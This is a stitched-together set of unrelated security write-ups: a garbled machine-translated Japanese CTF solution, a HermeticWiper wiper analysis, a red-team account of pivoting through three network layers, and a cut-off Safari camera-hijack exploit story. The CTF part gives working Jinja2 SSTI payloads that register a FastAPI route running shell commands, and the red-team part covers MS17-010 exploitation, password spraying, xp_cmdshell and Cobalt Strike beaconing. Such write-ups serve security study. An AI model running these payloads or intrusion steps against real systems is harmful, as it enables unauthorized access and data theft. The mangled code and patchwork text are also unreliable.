演奏せずに旗を獲得する方法を見てみましょう。フラグはバックエンドPHPファイルに保存されており、フロントエンドには見つかりません。レッドドットの最後の位置とファイアウォールの位置(ブラックドット)を記録するゲームのリクエストパッケージをご覧ください。image-20240817134012060

それでは、ファイアウォールは円に囲まれていますが、赤い点は真ん中にあります。ルーティング:/verifyvictory.php

方法:post {'Gamestate ': {' virusposition': {'x':5、' y':5}、 'firewalls': [{' x': 0、 'y': 0}、{' x': 1、 'y'3360 0} {'x': 2、' y': 0}、{'x': 3、' y': 0}、{'x': 4、' y': 0}、{'x': 5、' y'3360 0 0}、{'x': 7、' y': 0}、{'x': 8、' y': 0}、{'x': 9、' y': 0}、{'x': 10、' y': 0}、{'x': 'y': 10}、{' x': 1、 'y': 10}、{' x': 2、 'y': 10}、{' x': 3、 'y': 10}、{' x': 4、 '': 10 5、 'y': 10}、{' x': 6、 'y': 10}、{' x': 10}、{'x':' y': 10}、{'x'3360 9 {'x': 10、' y': 10}、{'x': 0、' y': 3}、{'x': 0、' y': 4}、{'x': 0、' y': 6}、{'x': 0、' y': 7}、{'x': 0、' y': 8}、{'x': 0、' y': 9}、{'x': 10、' y': 1}、{'x': 'Y': 2}、{' x': 10、 'y': 3}、{' x': 10、 'y': 4}、{' x': 10、 'y': 5}、{' x': 10 10、 'y': 7}、{' x': 10、 'y': 8}、{' x': 9}]}、 'token':'game-lab-token'}プロジェクトを開始すると、ソースコードimage-20240817122126538を直接与えました

インポートOS#オペレーティングシステム関連モジュールのインポートJinja2#インポートJinja2テンプレートエンジンモジュールインポート#インポート#インポートツール機能モジュール、高度な機能を提供するuvicorn#インポートuvicorn#fastapiインポートFastapi#インポートファーストアピクラスからASGIアプリケーションを実行するためにASGIアプリケーションを実行するためにASGIアプリケーションを実行するためにASGIアプリケーションを実行して、FASTAPI.TEMPLATING IMPLATITION APPLATIONSから作成します。 AnyioのインポートからレンダリングするテンプレートのFastapiのJinja2Templates fail_after、睡眠#インポートAnyioライブラリからのインポートタイムアウトを設定するために使用し、非同期睡眠のためにスリープ

#使用するライブラリのバージョンを指定します:#jinja2==3.1.2#uvicorn==0.30.5#fastapi==0.112.0

def timeout_after(timeout: int=1):#タイムアウトデコレータを定義する、デフォルトのタイムアウトは1秒のdefデコレーター(func):です##parameter @functools.wraps(func)#decorator async def wrapper(** kwargs)のメタ情報を保持します。 faile_after(タイムアウト):のラッパー#指定されたタイムアウトリターンウェイブfunc(*args、** kwargs)内でデコレーター関数を実行してください。

デコレーターを返す#returnデコレーター関数

app=fastapi()#fastapiアプリケーションインスタンスアクセスを作成=false#アクセス許可を制御するためのグローバル変数を定義します

_base_path=os.path.dirname(os.path.abspath(__ file__))

@app.get( '/')#ルートパスのゲットリクエストを処理するルートを定義します@timeout_after(1)#タイムアウトデコレーターを使用して、タイムアウトを1秒の非同期DEFインデックス():に設定します#非同期処理機能を定義します。

@app.get( ' /calc')# /計算パスを処理するゲットリクエストのルートを定義します@Timeout_after(1) (calc_reqのchar.isdigit()calc_reqのchar.isdigit())または(calc_reqの '%\')またはnot not not not not not not calc_req.isascii()またはaccess:#calc_reqに数値文字が含まれているか、「%」が含まれているか、またはそれらがすべてasciiのキャラクターであるかどうかを確認するかどうかを確認します。 jinja2.environment(loader=jinja2.baseloader())。 #さらにアクセスを制限するためにtrueにアクセスを設定します。

__name__=='__main __' :#それがメインプログラムの入り口uvicorn.run(app、host='0.0.0'、port=8000)であるかどうかを決定します。制限は、数値文字、または文字「%」、またはすべてのASCII文字、またはアクセスを含めることができないことです。同時に、アクセスが真である限り、再び入力することはできないため、環境を再起動する必要があります(NSS round20 Iは、この方法で質問が作成されたリポジトリのメモリも検索しました。 /flag ')。read())は、add_url_ruleを同時に置き換えるため、次のようにsstipayloadに変換する必要があります{{config .__ class __.__ init __.__ Globals __ ['__ Builtins __']。eval( '__ import __(' sys ')。モジュール[' __ main __ '] .__ dict __ [' app ']。add_api_route('/flag '、lambda:__import __(' os ') /flag').Read())')} payload: /calc?calc_req=config.__class__.__init__.__globals__ ['__builtins__'] .eval('__import__('sys').m odules ['__ main __'] .__ dict __ ['app']。add_api_route( '/flag'、lambda:__import __( 'os')。popen( 'cat /flag ')。読み取り())')

Fastapi Memory Horseをプレイすると、FastapiクラスにADD_API_ROUTEメソッドがあります。この方法を通るルートを追加して、RCEを実行できます

app.add_api_route( '/shell'、lambda: __import __( 'os')。popen( 'whoami')。read())アプリを再ゲットする必要があります。

__import __( 'sys')。モジュール['__ main __'] .__ dict __ ['app']

Sys.Modules:SYSモジュールには、すべてのインポートモジュールの現在の状態を維持するモジュールと呼ばれる辞書があります。この辞書のキーはモジュールの名前であり、値は対応するモジュールオブジェクトです。モジュール['__ main__']:__main__は、コマンドラインから直接実行されるスクリプトであろうと、実行環境を実行するコードであろうと、Pythonプログラムを実行するメインモジュールです。 sys.modules ['__ main__']を介して、現在実行中のプログラムのメインモジュールオブジェクトを取得します。 __dict__:各モジュールオブジェクトには__dict__属性があります。これは、モジュールで定義されているすべてのグローバル変数と関数を含む辞書です。 ['App']:最後に、モジュールの__dict__から名前付きアプリというオブジェクトを取得します。次に、次のペイロードを統合します。

app .__ init __.__ Globals __.__ builtins __。eval( '__ import __(' sys ')。モジュール[' __ main __ '] .__ dict __ [' app ']。add_api_route(' /shell '、lambda :__import __(' os ')。

さて、 /シェルにアクセスして旗を獲得します

方法3:任意のファイルを読み取る任意のファイルについて__file__を変更します

@app.get( '/')@timeout_after(1)async def index(): return open(__ file __)。read()

現在のコードファイルコンテンツは読み取り、Webページに出力されます。次に、__file__ to /flagを変更できれば、ルートルートにアクセスするとフラグを取得できます。

__File__はグローバル変数グローバルにあります

setattr(__ Import __( 'sys')。モジュール['__ main __']、 '__ file __'、 '/flag')は、setattr(オブジェクト、名前、値)メソッドを使用してオブジェクトのプロパティ値を変更します。

オブジェクト - オブジェクト。名前- 文字列、オブジェクト属性。値- 属性値。

Q:__import __( 'sys')を使用してみませんか。モジュール['__ main __'] .__ dict__、__file__は明らかにここにありますか?

A:Setattr関数の最初の値はオブジェクトであるため、__dict__はオブジェクトではなく__main__の属性です。

ペイロードを統合します:

app .__ init __.__ Globals __.__ builtins __。eval( 'setattr(__ import __(' sys ')。モジュール[' __ main __ ']、' __ file __ '、'/flag '))システム内のフラグファイルをお読みください。プロジェクトはログインボックスで、登録オプションimage-20240817120527144

敏感なディレクトリをスキャン:/admin.html/upload.php/admin.htmlルートにはファイルアップロード機能とコマンド入力ボックスimage-20240817214352183があります

無効な文字は、アップロード時に常に表示されます。いくつかのパケットの試行後、アップロードされたコマンド文字列が制限されているはずであり、1つの文字のフィルタリングである可能性があります。質問WAFコマンドパートファズに1つの文字を実行します。 /、そして一目で一時ファイルを実行します。 /t*/*

英数字RCE(CTFSHOW Webはじめに56)への参照_RCE-CSDNブログすべての文字と数字をろ過

t、 /、image-20240817214855339のみが許可されています

同時に、ファイル部品をアップロードすることはできません。私はおそらく、ホワイトリストのキャラクター、ctfshow永遠の神を見る手がかりがあるでしょう! PHPでは、ファイルが強制的にアップロードされると、ファイルは一時ファイル /TMP /PHPに存在します

上個月的時候,人們新發現了一個數據擦除型惡意軟件,它被命名為“HermeticWiper”,因為其數字證書是盜取自一家名為Hermetica Digital Ltd的公司。這個擦除器的顯著特點是能夠繞過Windows的安全功能,並獲得對磁盤上許多低級數據結構的寫入權限。此外,攻擊者還想把磁盤上的文件分割成碎片並覆蓋它們,使其無法恢復。

在我們分析這個數據擦除器的時候,其他的研究報告也陸續發布,詳細說明了這個攻擊活動中使用的其他組件,包括一個蠕蟲和典型的勒索軟件,幸好該軟件的實現質量不高,很容易進行解密。

在本文中,我們將針對目前已經獲取的惡意樣本,對其進行深入的考察分析。

行為分析首先,我們看到的是一個32位Windows可執行文件,其圖標類似於一個禮物。實際上,這並不是攻擊者的冷笑話,而只是Visual Studio GUI項目的一個標準圖標。

1.png

HermeticWiper使用的圖標

這款惡意軟件必須以管理員身份運行才能工作,而且沒有提供任何UAC繞過技術。稍後我們會發現,這個樣本的名稱也會(稍微)影響其功能;如果名稱以“c ”開頭(或以“C”開頭,因為它被自動轉換為小寫),那麼,系統在執行後將重新啟動。

一旦運行,該樣本就會在後台悄悄地“工作”。如果不借助其他工具的話,我們很難發現任何可疑的東西。

只有當我們使用像Process Explorer這樣的工具觀察這個樣本時,我們才能注意到一些不尋常的行為——它會調用各種IOCTL,並且都與檢索磁盤的細節有關。

1.png

通過ProcessMonitor觀察HermeticWiper時,發現其執行的動作

……其中包括FSCTL_GET_RETRIEVAL_POINTERS和FSCTL_MOVE_FILE,這些貌似都與文件的碎片整理有關。請注意,在文件系統中,文件有時並不是保存在一個連續的塊中(就像我們在高級別的文件中看到的那樣),而是分佈在磁盤的各個扇區中的多個塊中。碎片整理與合併這些塊有關,而碎片化則與分割這些塊有關。

1.png

然而,進一步的研究表明,這裡的效果與碎片整理相反。事實上,由於惡意軟件的緣故,數據變得更加碎片化。

在惡意軟件執行前後,有關數據碎片的磁盤狀態如下圖所示:

1.png

執行前的磁盤狀態

1.png

執行後的磁盤狀態

這樣做可能是為了提高損壞程度:文件碎片越多,從原始磁盤映像中分割出來並進行取證重建的難度就就越大。

隨著惡意軟件的執行,在某些時候,我們可能會發現一些應用程序將無法正常工作。這是因為某些文件(包括系統DLL)已被隨機數據所覆蓋。

示例:由於系統DLL被破壞,導致應用程序無法運行:

1.png

HermeticWiper導致的軟件故障

如果我們現在查看磁盤的原始映像(比如使用HxD),我們就會發現某些扇區已經被隨機數據覆蓋了:

1.png

通過HxD檢查被HermeticWiper覆蓋的扇區

毫無疑問,重啟後,我們的Windows操作系統將無法正常工作:

1.png

重新啟動受損系統後,用戶看到的出錯消息

那麼,這個惡意軟件在背後到底搞了什麼鬼呢?讓我們仔細看看……

使用的組件初始樣本:1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591——在其資源中包含多個PE文件:

1.png

惡意軟件的資源部分

為資源選擇的名稱(DRV_X64、DRV_X86、DRV_XP_X86、DRV_XP_X64)表明:它們是同一驅動程序,並且為不同的Windows系統提供了相應的版本:適用於32位或64位系統的版本,或適用於Windows XP的舊版本。同時,它們都採用了壓縮形式。通過Linux系統的file命令檢查轉儲文件,我們可以看到以下輸出:

file DRV_XP_X86

DRV_XP_X86: MS Compress archive data, SZDD variant, original size: 13896 bytes

為了弄清楚它們是如何加載的,我們需要研究一下攜帶它們的樣本。

幸運的是,該樣本並沒有進行混淆處理,所以,我們可以輕鬆找到負責查找適當版本的驅動程序的代碼片段:

1.png

HermeticWiper中選擇加載哪個驅動程序的代碼片段

然後,讓我們通過LZMA算法對緩衝區進行解壓縮處理:

1.png

負責用LZMA算法解壓縮驅動程序並進行安裝的代碼片段

實際上,當前流行的解壓縮工具(比如7Zip)都支持這種壓縮格式。我們也可以根據惡意軟件代碼製作自己的解壓縮工具(詳見:https://gist.github.com/hasherezade/2c7837874f7adf0f73192f4d861d83c6)。

結果,我們從EaseUS Partition Master中得到了4種版本的合法驅動程序——這一點與ESET(https://twitter.com/ESETresearch/status/1496581912940396551?s=20t=wAz5sfT7pTIN-F0aqFaXTg)所報告的完全相符。

2c7732da3dcfc82f60f063f2ec9fa09f9d38d5cfbe80c850ded44de43bdb666d

23ef301ddba39bb00f0819d2061c9c14d17dc30f780a945920a51bc3ba0198a4

8c614cf476f871274aa06153224e8f7354bf5e23e6853358591bf35a381fb75b

96b77284744f8761c4f2558388e0aee2140618b484ff53fa8b222b340d2a9c84

從PE頭部中的時間戳來看,這個驅動程序是很久以前構建的。據我們推測,這些驅動程序很可能是被攻擊者從原始的合法軟件包中竊取的。並且,它們中的每一個都帶有一個調試目錄,其中包括一個PDB路徑,例如:

1.png

驅動程序概述HermeticWiper使用的驅動程序來自EaseUS套件,而EaseUS則是一個合法的軟件,為用戶提供了多種磁盤管理功能,如分區和大小調整。如前所述,該工具是合法的,因此,在攻擊發生時,無法通過VirusTotal檢測到該樣本:

1.png

VirusTotal沒有檢測出該樣本

查看驅動程序內部代碼,我們發現它只是提供了許多典型的驅動功能:創建所需的設備,並建立一些分派例程,如下圖所示:

1.png

DriverEntry例程

這個驅動程序的內部結構非常簡單。為了從用戶模式訪問驅動程序,我們需要使用CreateFile API函數,並安裝驅動程序的設備名(\\.\epmntdrv)以及分區ID。具體示例如下所示:

1.png

用戶模式組件,生成用於打開設備句柄的字符串

注意,這個字符串對於理解驅動程序的功能非常重要。如您所見,驅動程序的代碼會把發送的字符串從用戶模式轉換為整數,並將該整數用作helper函數“savereferenceharddisk”的輸入。由於可以從映像中提取,所以,這個helper函數將在FsContext屬性中保存對物理磁盤(\device\harddisk[num]\partition0)的引用:

1.png

IRP_MJ_CREATE函數

1.png

helper函數

這種行為也可以進行實時測試。我們可以看到,在將這個值轉換為整數類型之前,代碼是如何刪除前導反斜杠的:

1.png

通過內核模式實時調試會話考察參數處理過程

此外,IRP_MJ_CREATE函數會在FsContext2屬性中保存硬盤的設備對象指針,該指針將通過helper函數getDeviceObject返回。函數getDeviceObject中的DeviceObject指針,用於查找IRP_MJ_CREATE函數保存在FsContext2屬性中的硬盤的設備對象指針(該指針是通過helper函數getDeviceObject返回的)。而getDeviceObject中的DeviceObject指針,則用於通過IoGetLowerDeviceObject函數遍歷最底層的設備對象來查找disk.sys關聯的設備對象。為了確認底層設備對象就是我們正在尋找的對象,我們檢查對象的ServiceKeyName是否為'Disk':因為disk.sys對象的ServiceKeyName正是“Disk”。這些對象將在稍後的讀寫操作中用到。這意味著,當從用戶模式向驅動程序請求不同的操作時,實際操作將在機器物理磁盤上進行。

1.png

關於getDiskDeviceObject函數

接下來的圖片顯示了驅動程序如何建立傳入的請求並將其轉發到下級設備:

1.png

EaseUS驅動處理IOCTL請求的例子

1.png

EaseUS驅動處理讀操作的例子

1.png

EaseUS驅動處理IOCTL寫操作的例子

通過使用從用戶模式執行的CreateFile操作所保存的FsContext2字段,可以將這個驅動程序看作是一個代理驅動程序,其中IRP由底層設備處理。簡而言之,這個合法的驅動程序可以讓攻擊者繞過一些windows的安全機制,而這些機制能夠阻止他們在用戶模式下執行某些操作,如禁止對磁盤的某些扇區進行寫操作等。

數據擦除器的具體實現這個惡意軟件旨在最大限度地破壞系統。它不僅會覆蓋MBR,而且更進一步:遍歷文件系統的相關結構體並加以破壞,甚至直接破壞單個文件。

我們知道,這個可執行文件將以某種方式濫用這些驅動程序來實現數據破壞功能。然而,問題來了,它到底是如何實現的呢?

值得注意的是,Windows(自Vista以來)引入了一些安全措施,使得攻擊者只能在用戶模式(在標準Windows驅動程序的幫助下)下對磁盤開頭部分的扇區執行寫操作。如果我們想對其他扇區進行寫操作,即覆蓋MFT(主文件表),我們需要一些自定義的變通方法(詳情請參閱https://community.osr.com/discussion/101522/vista-rtm-writing-to-raw-disk-sectors)。

對於Petya(以及NotPetya,使用了相同的組件)來說,其解決方案是由另一個“內核”實現的,該內核(而不是Windows系統)在機器重新啟動時引導,並完成相應的覆蓋任務。對於HermeticWiper來說,其作者使用了一種更簡單的方法:他們使用了另一個驅動程序,該驅動程序能夠完成這樣的覆蓋操作。

首先,該惡意軟件會解析NTFS結構體,並將有關它們的信息存儲在內部結構體中。為了實現讀取,它使用了標準系統設備。在收集到所需的數據之後,附加的驅動程序(EaseUS)就開始發揮作用:它被用作對收集的扇區進行寫操作的代理。

攻擊可分為以下幾個階段:

準備工作,包括:

安裝附加驅動程序(EaseUS)

禁用可能有助於恢復或檢測攻擊行為的系統功能

數據收集:遍歷NTFS結構體,收集將要覆蓋的扇區和文件。此外,為進一步的覆蓋活動而生成適當大小的隨機數據。

垃圾處理(在此階段使用EaseUS驅動程序):利用上一步生成的隨機數據覆蓋收集的扇區

最後,系統將自動重啟。

執行流程現在,讓我們來分析惡意軟件樣本,看看這些階段是如何實現的。

準備工作首先,該樣本會解析命令行參數。實際上,這些參數對執行的影響很小——可能只是改變樣本在特定階段的執行之間休眠的時間。

然後,該樣本會設置執行相關操作所需的特權。在惡意軟件的主函數中設置了兩個特權:SeShutdownPrivilege(允許重新啟動系統)和SeBackupPrivilege(允許操縱系統備份):

1.png

調整所需特權

有趣的轉折來了:定義SeShutDownPrivilege的字符串是在堆棧上組成的,而中間的一塊卻不見了。

1.png

不完整的SeShutdownPrivilege字符串

然後,在根據當前可執行文件名稱的第一個字符計算的位置填充這個缺失的塊wnPr。因此,只有在樣本的名稱是以“C”開頭的情況下,字符串才會被補上(並且權限設置正確)。

1.png

SeShutdownPrivilege在後面的步驟中補全

關於惡意軟件為何要這麼大費周章的原因尚不明確,也許只是為了混淆這個特定的可疑字符串。因為惡意軟件作者使用名稱檢查作為反沙箱技術也很常見(因為沙箱可能會給樣本指定一些可預測的名稱:如果檢測到這樣的名稱,則樣本可能會退出,這樣沙箱就無法跟踪其行為)。然而,該行為對樣本的影響非常小——它只影響重新啟動功能,而不是惡意軟件的主要任務。

驅動程序的安裝之後,該惡意軟件就會進行驅動程序的安裝。

1.png

安裝驅動程序

安裝過程分為以下幾個步驟:

首先,對系統進行指紋識別,以便選擇最合適的驅動程序版本。具體來說,它會根據Windows的版本和位數(32或64位),來選擇資源。

1.png

可加載的驅動程序

在安裝驅動程序之前,崩潰轉儲機制會被禁用。

1.png

HermeticWiper將禁用崩潰轉儲機制

如果整個系統發生崩潰,可能是由於驅動程序中的錯誤/不穩定所致,並且通常會進行崩潰轉儲:保存有關係統的完整狀態,以及到底發生了什麼方面的信息,以幫助調試。在安裝前禁用崩潰轉儲功能,表明惡意軟件的作者對所用驅動程序並不是很有信心,或者認為執行的操作有導致系統崩潰的風險。所以,他們希望即使發生了崩潰,也要設法讓管理員很難找到崩潰的原因。

然後,他們檢查驅動程序是否已經安裝。這一步是通過向驅動程序發送IOCTL來實現的:該IOCTL用於檢索驅動器幾何形狀方面信息。如果該操作失敗,這意味著相關驅動程序根本就不存在,他們可以繼續安裝。

1.png

EaseUS設備對象引用

安裝該驅動程序時,首先會根據硬編碼的字符集為驅動程序生成一個含有4個字符的偽隨機名稱。該函數還需確保沒有文件與剛才生成的名稱重名。

1.png

生成驅動程序名稱

然後,植入文件的壓縮版本。最後,從中解壓縮出相應驅動程序。

前言

一次攻防演练中首先是团队拿到了一个 Webshell ,后续又把权限弹到了 CobaltStrike 方便我来做内网渗透:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过发现当前机器是一台公网服务器,只有公网 IP:xxx.xxx.xxx.16

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过查看 arp 缓存发现当前是有一些公网机器的:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过查询这些 IP 发现是"某网络",而且通过 Nbtscan 发现当前 C 段有主机存活:(初步判断当前 C 段机器有可能存在域,但不确定)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

对当前第一层内网机器 C 段进行横向移动

由于是攻防演练,拿到越多的分数越好,在这里就不考虑一些其他问题,拿到当前机器后我抓到了明文密码:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

但是通过此密码去利用 MSF 对 C 段进行密码喷洒发现没有一台主机被成功横向出来:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

就在这个时候我又扫了一下看看有没有 MS17010:(一般来说向这种"某某网"基本上都有几台存在永恒之蓝,所以直接去扫就行)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

发现 92、151、200 这三台是存在 MS17010 的,随后打了 92 这台:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

随后 MSF 和 CS 联动,我把 MSF 的 shell 又弹到了 Cs,并且做了权限维持:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

这个时候其实用这两台跳板机器就够了,另外两台存在 MS17010 没必要继续打,随后我对当前 C 段进行信息搜集,对 Web 资产进行扫描存活发现大量 Web 资产:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过手工分析发现一枚 SQL 注入,而且是 DBA 权限:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

然后添加了一个管理员用户然后开启了 3389 (因为有诺顿,常规免杀没时间弄了,主要拿分,索性直接登录服务器)

而且直接通过 socks 连接不了,感觉是做了限制,后续发现使用 mstsc /admin 是可以登录的:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

这个时候我用 92 这台机器当作跳板远程登录到 71 桌面:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

随后克隆了 administrator 的桌面:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

此时重新登录之前添加的账号到远程桌面就是 administrator 的桌面了:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过一系列的信息搜集并且翻密码,拿到了 Mssql 和所有旁站的权限:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过已搜集到的密码去对 C 段继续密码喷洒成功喷洒出 C 段的一台 Mssql:xxx.xxx.xxx.239

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

后续直接调用 XP_cmdshell 执行命令,发现权限还很大:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

随后直接利用 bitsadmin 上线到 cs:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

此时已经拿到了:16、92、239 这三台机器的权限,但是还没有发现有内网,这个时候就陷入了瓶颈。

搞到这里发现横向不了,其他 Web 又不想用 0day 打,回过头来用 MS17010 打下了 200 这台:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

随后通过同样的方式把 shell 弹到了 CS 并且添加了用户而且加入远程桌面组:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

随后登录发现登录失败:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

这个时候利用 mstsc /admin 可以绕过并成功登录到目标远程桌面:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

同样的方式克隆了 administrator 的桌面:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过信息搜集翻文件我发现了大量有价值的东西,比如 mstsc 登录记录:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

拿到 navicat 数据库凭证:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

并且发现 Xshell 里面有很多台 SSH:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

里面所有 Linux 主机都可被登录,这个时候只需要利用 SharpDecryptPwd 把它们的密码抓下来就好,但是发现出问题了:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

后面用这玩意查看了密码:(本来不想用这几把玩意的,太麻烦得一个个的去查看密码)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

发现有几台机器有 10 的内网:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过已有的密码再去横向喷洒了一下 C 段的 Linux 主机:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

然后弹了几个 Shell 到 MSF:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

至此这个公网的 C 段基本上已经穿了,大量核心数据库、交换机、Web服务器都拿下,接下来就是对 10 的内网进行内网渗透。

来自第二层内网 10 段的内网渗透

因为我已经拿到了 root 的密码,我直接扫了一下 10.10.10.1/16 的 B 段,有一大波资产,这里就不截图了,有几百个,其中发现有 ESXI:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

并且拿到了一个门禁系统:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过特殊手段横向移动拿下了 10 段的两台 SSH,并且发现有第三层内网是 192 段、还有 docker 环境:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

由于 10 段有 ESXI ,我直接利用漏洞拿到了 ESXI 云平台,旗下所有机器都被控:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

此时 10 段基本上已经穿了,接下来就是对 192 的内网进行渗透。

来自第三层内网 192 段的内网渗透

通过常规 fscan 简单扫了一下 192 段,发现 192 资产也很肥:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

然后又发现 MS17010 漏洞两台:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

现在梳理梳理梳理关系了,当前环境是这样的:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

 
原文链接:https://mp.weixin.qq.com/s?__biz=MzkxNDEwMDA4Mw==&mid=2247491421&idx=1&sn=769d715d05057112eb4ee1ebb8312e37&chksm=c172c541f6054c571e482d4283f946625f2689ec6214e9d47a61c66399ee7d2cd2a62c0de464&scene=123&key=f3d6282f44b990e0f2527af4db8e088f25f3e43d0abaf5f845ff52e14965e4fe188c89081cfd1f78925d46f3773aa2e74a47694f65db45695689fdd967c2c09337cb5405c40efe99f3eb546fc97abca96d5ff3818c9a7530e4acc9a4e5d882040400173a797499538a59659384656bc3ebcc665e0a0c437c54b0a25452e6ce44&ascene=14&uin=MTc3NzQzNDgzMQ%3D%3D&devicetype=Windows+10+x64&version=6309001c&lang=zh_CN&countrycode=CN&exportkey=n_ChQIAhIQ3pDdiz1MC4F99DsGfx2v5BL0AQIE97dBBAEAAAAAADHyJqWLbaIAAAAOpnltbLcz9gKNyK89dVj07Lq3ukZca%2FkGn9mZ1m3mR4X82v32Zct1B2kfTB%2BQWna3aR3DhlMUQvvT3Z2sxfB9OUECYQoL2A5oAR5FOuDqlNc%2FQnrjkFyvrHh031cA5N0cUT4RO2kT%2B56Q2pBiEsL7ziwAdFczUCCRk9OW7sxmCEBUAd%2BI86xc%2FAPPLFRk3akMyXxiozAYLRujrimNRkLpFymtdYxpwqugIkLAWKp3X%2Fn6cL4bGQvrReToG01rCHpQQPakFsS%2BoSm63vyyJ7cpmwybCp7ze9nIH1UdpOc%3D&acctmode=0&pass_ticket=dS7P%2Bn8WaPCzHJxyD5pizreTrBJbMLZFV9J36NJ7%2Fmx2byCsxnyK2ySPe%2BM9YvvFwWh7tiUQ78aV%2FVvJTCaQeg%3D%3D&wx_header=1&fontgear=2


本文我們將介紹通過Safari UXSS 獲得未經授權的攝像頭訪問權限,以及如何進一步利用一個共享iCloud 文檔攻擊你訪問過的每個網站。

1.webp.jpg

本次是利用發現的Safari中的7個0 day漏洞(CVE-2020-3852,CVE-2020-3864,CVE-2020-3865,CVE-2020-3885,CVE-2020-3887,CVE-2020-9784和CVE- 2020-9787),其中三個用於構造利用鏈劫持訪問攝像頭。

簡而言之,該漏洞使蘋果認為惡意網站實際上是值得信賴的網站,它通過利用Safari如何解析URI,管理WebOrigin以及初始化Secure_Contexts的一系列漏洞來實現劫持。如果惡意網站將這些漏洞利用串在一起,則可以使用JavaScript 直接訪問受害者的網絡攝像頭,而無需徵求許可。任何具有創建彈窗功能的JavaScript代碼都可以發起此攻擊。

而在本次嘗試中。我成功地利用了iCloud Sharing和Safari 15的一系列漏洞,來獲得了未經授權的攝像頭訪問權限。雖然這個漏洞確實需要受害者點擊“打開”從我的網站彈出的窗口,但它導致的不僅僅是多媒體權限劫持。這一次,該漏洞使攻擊者可以完全訪問受害者曾經訪問過的每個網站。這意味著除了打開你的攝像頭之外,我的漏洞還可以破解你的iCloud、PayPal、Facebook、Gmail 等帳戶。

本次共使用了4個發現的0 day漏洞(CVE-2021-30861、 CVE-2021-30975, 另外2個並沒有CVE),其中2 個被用於黑入攝像頭。我已向蘋果報告了這個漏洞鏈條,並獲得了100500美元的賞金。

2.webp.jpg

背景介紹蘋果通過增加攝像頭訪問的難度,修復了我上一次報告的漏洞鏈(CVE-2020-3852 + CVE-2020-3864 + CVE-2020-3865)。在這次賞金計劃中,該漏洞鏈會讓蘋果認為惡意網站實際上是值得信賴的網站,它通過利用Safari如何解析URI,管理WebOrigin以及初始化Secure_Contexts的一系列漏洞來做到這一點。如果惡意網站將這些漏洞利用串在一起,則可以使用JavaScript 直接訪問受害者的網絡攝像頭,而無需徵求許可。任何具有創建彈窗功能的JavaScript代碼都可以發起此攻擊。 iOS和macOS中的攝像頭安全模型非常嚴格,簡而言之,必須為每個應用程序明確授予攝像頭/麥克風許可,這由操作系統通過標準警報框處理。但是這個規則有一個例外。蘋果自己的應用程序可免費使用攝像頭,因此,Mobile Safari從技術上無需詢問即可訪問攝像頭。此外,諸如MediaDevicesWeb API(通常用於WebRTC傳輸)之類的新網絡技術使網站可以利用Safari的許可直接訪問攝像頭。但當時蘋果認為此漏洞屬於“無用戶交互的網絡攻擊:對敏感Data的零點擊未授權訪問” 類別, 並獎勵了我75000美元。

現在多媒體訪問只允許協議為“https:”,並且域匹配你保存的設置。這意味著巧妙地格式漏洞的URI 將不再適用,之前我專門講了file:我使用的下一個方案是file:該方案不包含有意義的主機名,我深入探究RFC,實際上偶然發現了file: URI的一個變化中確實包含主機名的URI。這種URI實際上指定了一個遠程服務器,類似於FTP,但是此規範未定義對存儲在遠程計算機上的文件的檢索機制,搜索了一段時間後,我找不到任何實際上支持這種的URI類型的用戶代理。

file://host.example.com/Share/path/to/file.txt出於好奇,我檢查了Safari如何在內部解析普通文件URI。

加1.png

果然主機名為空,接著我使用JavaScript指定主機,看看會發生什麼。

加2.gif

